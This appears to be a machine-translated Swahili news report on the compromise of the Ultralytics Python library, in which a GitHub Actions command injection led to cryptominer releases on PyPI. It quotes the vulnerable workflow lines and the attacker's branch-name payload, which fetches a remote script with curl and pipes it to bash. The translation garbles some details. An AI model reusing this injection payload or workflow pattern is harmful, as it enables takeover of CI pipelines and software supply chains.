Washambuliaji waliweza kutekeleza msimbo kwa kutumia haki za vidhibiti vya GitHub Actions katika hazina ya maktaba ya Ultralytics Python, ambayo hutumiwa kutatua matatizo ya kuona kwa kompyuta kama vile kugundua vitu kwenye picha na kutenganisha picha. Baada ya kupata hifadhi, washambuliaji walichapisha matoleo mapya kadhaa ya Ultralytics kwenye saraka ya PyPI, ambayo yalijumuisha mabadiliko mabaya ya uchimbaji madini ya cryptocurrency. Katika mwezi uliopita, maktaba ya Ultralytics imepakuliwa kutoka kwa orodha ya PyPI zaidi ya mara milioni 6.4.
Ili kuathiri hazina, uwezekano wa kuathiriwa ulitumiwa katika kifurushi cha vitendo vya hali ya juu, ambacho hutumika kuzindua vishikilizi kiotomatiki wakati vitendo fulani vinafanywa kwenye hazina kwenye GitHub kwa kutumia utaratibu wa Vitendo vya GitHub. Katika mradi wa ultralytics, kidhibiti kilicho katika mazingira magumu kilihusishwa na pull_request_target tukio na iliitwa wakati maombi mapya ya kuvuta yalipowasili. Hasa, ili kuunda msimbo katika maombi ya kuvuta yaliyotumwa, kidhibiti cha format.yml kiliitwa na msimbo uliobainishwa katika sehemu ya "run" ya faili ya action.yml ulitekelezwa, ambayo ilikuwa na amri za ganda na mifumo mbadala: asili ya kuvuta git. ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Kwa hivyo, jina la tawi la Git lililotajwa kwenye ombi la kuvuta lilibadilishwa kuwa amri za ganda bila kutoroka ipasavyo. Inastahiki kukumbuka kuwa mnamo Agosti, kifurushi cha vitendo vya hali ya juu tayari kilirekebisha athari sawa inayohusishwa na utumiaji wa thamani ya nje katika kitendakazi cha mwangwi: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .kichwa.ref }} »
Ili kupanga utekelezaji wa nambari zao katika muktadha wa kidhibiti cha Vitendo cha GitHub, washambuliaji walituma ombi la kuvuta kwenye hazina ya ultralytics, wakibainisha yafuatayo kama jina la tawi: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Kwa hivyo, wakati ombi la kuvuta lilipokewa, kamba iliyobainishwa ya mvamizi "$(…)" iliwekwa kwenye msimbo, ambayo, kidhibiti kilipozinduliwa baadaye, ilisababisha utekelezaji wa msimbo "curl -sSfL raw.githubusercontent. com/…/file.sh | bash".

Nambari inayotumika katika muktadha wa Vitendo vya GitHub inaweza kutumika kunasa tokeni ya hazina ya ufikiaji na data nyingine nyeti. Jinsi hasa washambuliaji waliweza kutoa toleo, wakiwa na uwezo wa kutekeleza msimbo wao katika Vitendo vya GitHub, bado haijabainika kuwa hii iliwezekana kutokana na mabadiliko katika kidhibiti cha publish.yml (wavamizi waliondoa uthibitishaji wa uthibitisho; akaunti ambayo inaruhusiwa kuchapisha matoleo katika PyPI) na matumizi ya teknolojia ya kutia sumu Vitendo vya GitHub huunda akiba ili kuingiza data yako kwenye toleo.
Toleo la kwanza la Ultralytics 8.3.41 lenye madhara lilichapishwa na washambuliaji kwenye PyPI mnamo Desemba 4 saa 23:51 PM (MSK) na kuondolewa saa 12:15 PM siku iliyofuata. Saa 15:47 PM, toleo lingine, 8.3.42, lilichapishwa na kuondolewa saa 16:47 PM. Hivyo, matoleo hayo yenye madhara yalipatikana kwa ajili ya kupakuliwa kwa jumla ya takriban saa 13 (PyPI inarekodi takriban vipakuliwa 250 vya maktaba ya ultralytics kwa siku). Toleo 8.3.41 na 8.3.42 zilikuwa na msimbo uliopakuliwa kutoka kwa kompyuta ya nje. seva Sehemu ya XMRig kwa ajili ya uchimbaji wa sarafu za kidijitali.
Waendelezaji wa mradi walirekebisha tatizo na kuunda matoleo ya kurekebisha 8.3.43 na 8.3.44, lakini siku mbili baadaye shambulio lingine lilifanyika, wakati washambuliaji walichapisha matoleo mawili ya ziada ya uovu leo 04:41 na 05:27 (MSK) - 8.3.45 na 8.3.46, ambayo ni pamoja na kanuni nyingine za uchimbaji madini. Hadi mwisho wa uchunguzi, watumiaji wanashauriwa kusimamisha kusakinisha matoleo mapya na kurekebisha toleo la 8.3.44 kama vitegemezi.
Chanzo: opennet.ru
